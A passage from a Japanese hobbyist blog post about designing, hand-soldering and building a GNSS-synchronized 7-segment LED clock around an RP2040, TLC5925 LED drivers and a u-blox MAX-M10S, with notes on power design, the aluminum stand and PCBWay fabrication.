たくさんの LED を制御するにあたって、いくつかのブロックに分けて高速に切り替えて点灯させる (LED multiplexing, あるいは日本語圏固有の呼び方？としていわゆるダイナミック制御) と、シフトレジスタを使う方法、あるいは両者を組み合わせる方法が有名だと思います。今回はシフトレジスタ、とくに Kello でも使われていた LED 特化を謳う [TI TLC5925IDWR](TLC5925IDWR) を3つ直列にして制御することにしました。点灯パターンを実質 SPI で扱えるインターフェイスで流し込めるのでマイコン間の配線を大幅に減らせるほか、`LE` ピンの制御で全ピンの出力を一斉に更新できるのが GNSS レシーバーの1 Hz パルス出力と相性よさそうだと感じたためです。また7セグ LED は数字部分と dp で構成する LED の数が違うためか順方向電圧が違ったりします。定電流源として扱える TLC5925 のおかげで、出力ごとに異なるパラメーターを計算しなくて済んだのもメリットといえそうです。

![](./sch-7-seg.svg)

LED に流す電流は `R-EXT` ピンと `GND` ピン間を流れる電流で制御、多くの場合 `R-EXT` - `GND` 間に適当な抵抗を入れればよいようです。10mA 程度を流したかったので、データシート中の計算式をもとに 2.2kOhm を入れました。

### 7セグの選択肢・調達先少なすぎ問題

さて、時刻表示を7セグメント LED にしようと決めたものの… 選択肢や調達先がとても少ないのに驚きます。特に 1&quot; 以上の大きさとなると数個ほどの候補しかありませんでした。

前述の通り、完成品のサイズ感や電源を USB の5Vととした制約から7セグは 1.5&quot; サイズで、高輝度タイプでないものと決めました。当初 [Kingbright SA15-11GWA][SA15-11GWA] を載せようとしたもののどこにも在庫がなく断念。最終的に [WENRUN LSD150BAG-101][LSD150BAG-101] に決めました。今回は電子パーツ類のほぼ全てを Digikey で揃えているのですが、これだけ別で **TME** というところにに発注しています。TME は初めて聞くサイトだったのでとても不安でしたが、特に大きな問題もなく、さらに注文から数日で届いたりと悪くない体験でした。

ところで7セグメント LED のパッケージには何か規格がある感じではなく、概ねどのモデルも上下に5ピンずつでピンアサインも同一であるものの微妙にピッチが違うなどしていました。今回使った 1.5&quot; サイズでは、縦方向のピンの間隔が大きく分けて2つ、40.64mm (SA15-11GWA) と 40.00mm (LSD150BAG-101) のものがありました。最終的にどちらでも採用できるよう、ランドを内側に 0.32mm のばして楕円形にしたフットプリントを使いました。

![](./footprint-7-seg.png)

### RP2040

RP2040 まわりの回路や基板レイアウトは、Raspberry Pi 公式に [Hardware design with RP2040][HDwRP2040] というとても親切な資料があるのでほとんど迷うことなく進められました。また、Raspberry Pi Pico の回路図 ([Raspberry Pi Pico Dtatasheet][Pico-DS]) はチップ部品のサイズや許容誤差まで書かれていてパーツ選定にとても参考になりました。そのほか、USB-C や電源周りなどで [Adafruit Feather RP2040](Feather-RP2040) の回路図も参考にしました。

手はんだのため、フットプリントは KiCad の標準ライブラリに含まれているものをベースに変更を加えました。はんだコテを当てやすくするため pad を伸ばし、また底面は基板の裏面からはんだを流し込む穴を開けています。また、実装後の同通確認のためテストポイントを作るなどして GPIO を全て引き出したりもしています。

![](./footprint-rp2040.png)

データシートの記述にある通り、RP2040 底面の GND pad は一般の QFN-56 より小さく、あいたスペースにに配線を通しやすいとしています。実際、Minimal Design Example では zone fill を駆使して 3.3V と 1.1V のラインが詰め込まれていました。

&gt; NOTE: There is no standard size for the central GND pad (or ePad) with QFNs. However, the one on RP2040 is smaller than most. … This gives the opportunity to route between the central pad and the ones on the periphery, which can help with maintaining power and ground integrity on cheaper PCBs. …

この真似をするのがなかなかに大変でした。単に zone fill のパラメータをコピペするだけではうまくいかず、何度もパラメーターや zone の形を調整することになみました。特に別の zone と重なったときの優先度を指示する z-index 的なパラメーターは、ある時点までうまくいっていたのに別の箇所を変更したときにこわれて再調整、が何度も発生してつらかったです。また、ピッチの狭さのために zone と pad の接続が悪いと DRC におこられることもありました。対策として track を引いたり、部分的に pad の接続を fill にしたりしました。なお、このせいで一部のピンのはんだの乗りがものすごく悪くなり、実装の際にとても苦労することになりました。

![](./pcb-rp2040.png)

### 電源

給電用の DC ジャックなどを設けず USB だけで動作し、かつ回路をできるだけ簡単にしたいという方針で電源まわりを検討しました。USB の 5V を LDO で3.3Vに落として IC などに供給、順方向電圧が少なくとも4Vを超える7セグメント LED は USB の5Vをそのまま入れています。

LDO には [TI TLV75533PDBVR][TLV75533PDBVR] を使いました。単価が比較的安く、また広い周波数域で PSRR がそこそこよいのが特徴かなと思っています。回路への給電が USB になるので、つまり開発時などでは PC から、常用時は AC アダプターなどからと様々な電源が想定されます。広い周波数域で PSRR がよいのはきっといい感じに動いてくれると期待しています。

LDO の入出力に置くコンデンサの選定には少し悩みました。データシートによれば DC bias characteristics を考慮しつつ入力側に最低 1uF+、出力側に 0.47uF+ を入れろとあります。DC bias characteristics ってなんだと調べると、MLCC などには印加する電圧が上がるとともに実効的な静電容量が減ってしまう特性があるとのことでした。最終的に 10uF, 10%, 6.3V, X7R の MLCC にしました。さらに念のため、一般的にサイズが大きくなるほど DC bias characteristics による静電容量低下が少ないのをうけて、ここだけ他より大きいサイズ (M1005 -&gt; M2012) としました。

…などといろいろ書きましたが、この辺りに関してはまだなんとなくでしかわかっていないことがたくさんです。とはいえ、電源といえば LM7805 みたいな3端子レギュレーターで入出力に適当な電解コンデンサ置けばおｋ程度の知識で止まっていたのでいろいろ勉強になりました。

### MAX-M10S

設計にあたって一番不安だったのが MAX-M10S まわり、特に RF 側の回路と基板レイアウトでした。公式の [Integration Manual](https://www.u-blox.com/en/product/max-m10-series?legacy=Current#Documentation-&amp;-resources) のほか、[SparkFun GNSS Receiver Breakout - MAX-M10S](https://github.com/sparkfun/SparkFun_u-blox_MAX-M10S) が回路・基板レイアウト含めて公開されていてとても参考になりました。

今回の回路図がこれです。

![](./sch-max-m10s.svg)

`D1` は SparkFun GNSS Receiver Breakout にならって入れた TVS、そのほかは Integration Manual 中の Reference Design における次のパーツに相当します。なお、DC Block Capacitor とした `C21` は今回の回路では必要なさそうだったことが明らかになっています。MAX-M10S が内部に DC Block Capasitor に相当するものを持っているため、Reference Design のように外付けの SAW filter などを設けないのであれば不要そうです。

| gnss-7-seg-clock | Reference design | Use |
| --- | --- | --- |
| `C20` | `C14` |  RF Bias-T Capacitor |
| `C21` | `C18` | DC Block Capacitor |
| `L1` | `L3` | RF Bias-T Inductor |
| `R11` | `R8` | Antenna supervisor current limiter/shunt resistor |

SMA コネクタにつながる配線は 50Ohm程度のインピーダンスになるのを期待して太くしています。

![](./kicad-calctool-rf.png)

![](./pcb-max-m10s.png)

## 基板実装

永遠に KiCad とにらめっこが続きそうなのをなんとか打ち切り発注。基板とパーツ、そのほか追加の工具類などが2月はじめごろに揃いました。

![](./DSC_7343.jpg)

はじめに書いた通り、はんだ付けの練習が今回のモチベーションの1つです。実装予定のパーツの大半が、これまでほとんど経験してこなかったピッチの狭いパーツです。ちゃんと実装できるか不安だったので、USB-C コネクタから始めて、少しずつ外観・通電チェックをしていきながら実装していきました。また、特に自信のなかったパーツは、少しもったいなくはありますが予備の基板とパーツも使って繰り返し実装しました。

![](./DSC_2058.JPG)

USB-C コネクタは自信のなかったパーツの1つです。通電確認のために、Saiko Systems の [USB Type C Male Plug Breakout board v3.0](https://www.saikosystems.com/web/p-89-usb-type-c-male-plug-breakout-board-v30.aspx) を用意しました。USB-C のピンを引き出す基板はいろいろ見つかりますが、給電を目的に5.1kOhm が実装されたものがほとんどで微妙でした。一方、この Breakout board は単純にピンを引き出すだけのものなので今回の用途にピッタリです。とても活躍してくれて、最終的に USB-C コネクタを実装した5枚の基板全てはんだブリッジや接続不良ないのが確認できました。Saiko[^saiko] です。

![](./DSC_2069.jpg)

[^saiko]: 社名の由来が本当に日本語の「最高」っぽくてびっくりする https://www.saikosystems.com/web/t-about.aspx

USB-C コネクタの次は LDO → 外観・通電チェック → RP2040 → 外観チェック → RP2040 の動作に最低限必要なパーツ類 → 外観チェックと進めていきました。そして、残りのパーツを実装する前に RP2040 を動かしてみることにしました。最初に準備できた基板は USB でつないで認識してくれたものの、RP2040 がややパターンからずれてしまっていて QSPI Flash との接触不良を解決できず… 2枚目でなんとか動いてくれました。RP2040、やっぱり手強かった… ただ、RP2040 ははんだ付け作業自体はそこまでの難しさではなく、付け始めるときにどれだけ正確な位置に RP2040 を配置できるかが一番難しく重要な作業なのかなと思います。ちょっとした振動でブレたりしてなかなか難しかったです。数ピンだけでもはんだが付いてしまえば、あとは引きはんだの要領で慣れてくるとそこそこスムーズにいけました。基板設計のセクションで少し触れた通り、3.3Vや1.1Vにつながる箇所が基板レイアウトの都合上はんだの乗りがとても悪く、ここだけは引きはんだも思ったようにいかず苦戦しましたが。

&lt;blockquote class=&quot;twitter-tweet&quot; data-dnt=&quot;true&quot;&gt;&lt;p lang=&quot;ja&quot; dir=&quot;ltr&quot;&gt;RP2040 なかなかてごわかった (まだ QSPI あたりのピンに接触不良ありそうで書き込みできても verify とおらない) &lt;a href=&quot;https://t.co/JatUvKESoz&quot;&gt;pic.twitter.com/JatUvKESoz&lt;/a&gt;&lt;/p&gt;&amp;mdash; ✧*。ヾ(｡ᐳ﹏ᐸ｡)ﾉﾞ。*✧ (@myon___) &lt;a href=&quot;https://twitter.com/myon___/status/1888370352629432772?ref_src=twsrc%5Etfw&quot;&gt;February 8, 2025&lt;/a&gt;&lt;/blockquote&gt; &lt;script async src=&quot;https://platform.twitter.com/widgets.js&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt;

GPIO を ON/OFF したりするコードを走らせて全ピンの導通確認をしていたときの様子。この段階で、まだパーツを実装し切っていないけれどもかなりの達成感でした。

&lt;blockquote class=&quot;twitter-tweet&quot; data-media-max-width=&quot;960&quot; data-dnt=&quot;true&quot;&gt;&lt;p lang=&quot;ja&quot; dir=&quot;ltr&quot;&gt;！！！！！！ (あさあげた基板は一旦あきらめて2枚目実装した) &lt;a href=&quot;https://t.co/01LhiGSWTM&quot;&gt;pic.twitter.com/01LhiGSWTM&lt;/a&gt;&lt;/p&gt;&amp;mdash; ✧*。ヾ(｡ᐳ﹏ᐸ｡)ﾉﾞ。*✧ (@myon___) &lt;a href=&quot;https://twitter.com/myon___/status/1888485721947939038?ref_src=twsrc%5Etfw&quot;&gt;February 9, 2025&lt;/a&gt;&lt;/blockquote&gt; &lt;script async src=&quot;https://platform.twitter.com/widgets.js&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt;

その後、MAX-M10S や 7セグメント LED をつけて完成です。よく見ると RP2040 右上の2ピンがブリッジしていますが、どちらも3.3Vが入るピンなので一応問題ないです。いや、ほんとにはんだの乗りが悪くてですね… これ以上なんとかしようとしてレジストやパターン剥がれても困るので気にしないことにしました。

![](./DSC_7464-Edit.png)

ちなみに「外観チェック」のために[インスペクションルーペ][SL-55]を用意していました。数千円からでも導入できて手頃だった一方、物体にかなり近寄らないとだめなのが微妙でした。今回でいうと例えば RP2040 のはんだ付け状況確認のためややナナメから見るとかがやや難しかったです。また、物体に近づくと影を作ってしまうので、周辺に十分な光源も必要でした。ひとまず手持ちのビデオライトを横に作業し、[後日デスクライトを導入](https://x.com/myon___/status/1914999253350666474)するきっかけの1つとなったのでした。

道具に関してもう1点、はんだコテのコテ先選びの重要性も痛感しました。細かいパーツを付けるからと細いコテ先 (HAKKO T18-CF1) を用意しましたが、熱の伝わりなど逆に扱いが難しく、結局大半の M1005 を付けるとき以外ははんだコテ (HAKKO FX-600) 付属のコテ先 (HAKKO T18-B) に戻して作業しました。なんなら M1005 でさえ付属のコテ先の方が付けやすかったのではと思ったり。それと同時に、付属のコテ先は必ずしもベストなチョイスでなくても多くの場面をそつなくこなしてくれるので &quot;付属&quot; なのかなぁと思ったりするのでした。コテ先、奥が深い… 機会があれば他の形状も試してみたいですね。

## メカ

基板を傾斜をつけて立たせるスタンドと、特に日中の7セグメント LED の見やすさ改善のためスモークアクリル板をつけたいと考えていました。とはいえメカに関しては回路以上に知見がなく、でもせっかくの機会なので多少の加工は自分でしたいという思いがありました。そこで、今回穴あけはドリルを購入し自分でやるとし、それ以外の素材の加工が発生しなくて済む方法を検討しました。

スタンドはやはり安定感が欲しく、十分な強度とある程度の重さがあるアルミ材を選択しました。フラットバーやアングルといった規格材の組み合わせで済む構造で設計し、[横山テクノ](https://www.yokoyama-techno.net/)というショップでカットされたものを調達しました。

![](./DSC_8389.jpg)

スモークアクリル板は、[はざいや](https://www.hazaiya.co.jp/)よりサイズ指定のカットと端面処理されたものを調達。そのほかネジ類を[ウィルコ](https://wilco.jp/)で揃えました。どのショップも個人でかつ少量の発注ができて助かりました。

設計には FreeCAD を使いました。KiCad で出力した VRML モデルをインポートできたりするのは、パーツやネジが干渉しないかの確認にとても役立ちました。なお、シルクをモデルに含めた場合などは特に重くなるので注意です。「(✿╹◡╹)ﾉ」がどのくらい隠れてしまうか確認したかったので、下のスクショではシルク入りモデルをインポートしたあとで不要なものを非表示にしています。

![](./freecad1.png)

FreeCAD では、Sketcher などを使ってモデリングし、TechDraw の図面を見ながらパーツを加工しました。むかし Google SketchUp で遊んでいたので Sketcher に戸惑うことはなかったものの、ある面を基準にした sketch を作成しようとしたときの挙動の一貫性のなさ (？) であったり、いかにも「Python で動いています！」感ある (Traceback が出てくるとか) 結局何が悪いのかわかりづらいエラーメッセージであったり、(これは FreeCAD 悪くないですが) Wayland 環境に起因する不安定さであったりで、正直あまり快適ではありませんでした。なんかいい代替ツールないかなぁ…[^blender]

![](./freecad2.png)

[^blender]: 「せっかく 3D モデル作ったんだしいい感じにレンダリングしたい」と [Blender を触ってみたり](https://x.com/myon___/status/1903611560897257877)、そこからさらに Blender が代替ツールにできないかと検討したりもしました。やっぱり目的が違うので難しそうですね。ところで CAD 類って全部キーボードやマウスの操作が違って、ツールによっては再割り当てできなかったりもするので、扱わないといけないソフトが増えるとどんどん辛くなるのなんとかして欲しい。

ということでスタンドとフロントパネルはこんな感じになりました。加工精度はまぁ、お察しです。これももう少し練習したいですね。ちなみにメカ部分の設計を始めてすぐ、基板サイズやネジ穴の位置も KiCad の 0.1270mm とかのグリッドに合わせてしまうと mm での作業がめちゃくちゃ辛くなるのに気づきました。加工精度の言い訳として、このせいで穴の位置を出すのが難しかったというのもあります。

![](./DSC_8407.jpg)

![](./DSC_8423.jpg)

![](./DSC_8438.jpg)

## Special Thanks - PCBWay

いろいろご縁あって [PCBWay](https://www.pcbway.com/) 様にこの7セグ時計に対して支援、具体的には PCB と PCBA を提供していだたきました。

&lt;blockquote class=&quot;twitter-tweet&quot; data-dnt=&quot;true&quot;&gt;&lt;p lang=&quot;ja&quot; dir=&quot;ltr&quot;&gt;ご縁があり PCBWay 様に PCBA 提供していただきました！初めての PCBA でしたが、終始丁寧に対応していただき安心して進められました。ありがとうございます！&lt;br&gt;&lt;br&gt;Thanks PCBWay for reaching out and sponsoring my project! The PCBs look awesome. I also appreciate your swift and kind support. &lt;a href=&quot;https://t.co/ubO2pAEPlN&quot;&gt;pic.twitter.com/ubO2pAEPlN&lt;/a&gt;&lt;/p&gt;&amp;mdash; ✧*。ヾ(｡ᐳ﹏ᐸ｡)ﾉﾞ。*✧ (@myon___) &lt;a href=&quot;https://twitter.com/myon___/status/1901235312187387907?ref_src=twsrc%5Etfw&quot;&gt;March 16, 2025&lt;/a&gt;&lt;/blockquote&gt; &lt;script async src=&quot;https://platform.twitter.com/widgets.js&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt;

始めて PCBA を体験した私としては、まずなにより迅速かつ丁寧なサポートが好印象でした。特に、基板デザインの最初のレビューコメントを発注後1時間ほどで受け取ったときはとても驚きました。そのほか、Help Center には KiCad 向けのページもあり、[_&quot;How to Generate Gerber and Drill Files in KiCad 8.0?&quot;_](https://www.pcbway.com/helpcenter/generate_gerber/Generate_Gerber_file_from_Kicad.html) や [_&quot;Generate Position File Centroid File(pick place) in Kicad&quot;_](https://www.pcbway.com/helpcenter/design_instruction/Generate_Position_File_in_Kicad.html) のおかげで迷うことなく発注に必要なファイルを揃えることができました。

PCB, PCBA サービス自体やそのクオリティにも満足です。RP2040 という 0.2mm ピッチの IC などを含む基板でしたが大きな問題なく仕上げていただきました。ただし、[_&quot;Soldermask Issues - Soldermask bridge&quot;_](https://www.pcbway.com/helpcenter/soldermask_issues/Soldermask_bridge.html) にある通り soldermask の色の選択には制約がありました。具体的には、0.22mm より狭いピッチの箇所がある場合、緑以外の色は選択できないようです。

![](./DSC_8350.jpg)

ちなみに、PCBA を発注するにあたって non-HandSolder なフットプリントに変えた基板を用意しました。実際に使ったファイルは [Rev.A2 release](https://github.com/Tosainu/gnss-7-seg-clock/releases/tag/hardware%2Frev-a2) に置いています。

## おわり

自分にとってほぼ初めてのメカ・回路・ソフト全部やるプロジェクト「7セグメント LED を使ったデジタル時計」を紹介しました。たくさん改善点はありますが、ひとまず動くものを完成できて満足しています。遂行にあたって慣れない作業やそもそも初めてやる作業も多く、ちょっとだけ自信がつきました。

次は何を作るか…というのは今のところ特にないですが、やっぱり自分で何か作るのは楽しいし、今後もスキルをアップデートしていきつつ続けていきたいですね。


[RP2040]: https://www.raspberrypi.com/products/rp2040/
[LQG15HS27NJ02D]: https://www.murata.com/en-global/products/productdetail?partno=LQG15HS27NJ02%23
[PTS810]: https://www.ckswitches.com/products/switches/product-details/Tactile/PTS810/
[W25Q32JV]: https://www.winbond.com/hq/product/code-storage-flash-memory/serial-nor-flash/?__locale=en&amp;partNo=W25Q32JV
[ABM8-272-T3]: https://abracon.com/datasheets/ABM8-272-T3.pdf
[ANN-MB5]: https://www.u-blox.com/en/product/ann-mb5-antenna
[732511153]: https://www.molex.com/en-us/products/part-detail/732511153
[PESD0402-140]: https://www.littelfuse.com/products/overvoltage-protection/polymer-esd-suppressors/pesd-protection-device/pesd/pesd0402-140
[MAX-M10S]: https://www.u-blox.com/en/product/max-m10-series
[SA15-11GWA]: https://www.kingbrightusa.com/product.asp?catalog_name=LED&amp;product_id=SA15-11GWA
[LSD150BAG-101]: https://www.tme.eu/en/details/lsd150bag-101/7-segment-led-displays/wenrun/lsd150bag-101-01/
[TLC5925IDWR]: https://www.ti.com/product/TLC5925
[TLV75533PDBVR]: https://www.ti.com/product/TLV755P
[HDwRP2040]: https://datasheets.raspberrypi.com/rp2040/hardware-design-with-rp2040.pdf
[Pico-DS]: https://datasheets.raspberrypi.com/pico/pico-datasheet.pdf
[Feather-RP2040]: https://www.adafruit.com/product/4884
[SL-55]: https://www.nejisaurus.engineer.jp/product-page/sl-55-%E3%82%A4%E3%83%B3%E3%82%B9%E3%83%9A%E3%82%AF%E3%82%B7%E3%83%A7%E3%83%B3%E3%83%AB%E3%83%BC%E3%83%9A-1</content:encoded></item></channel></rss>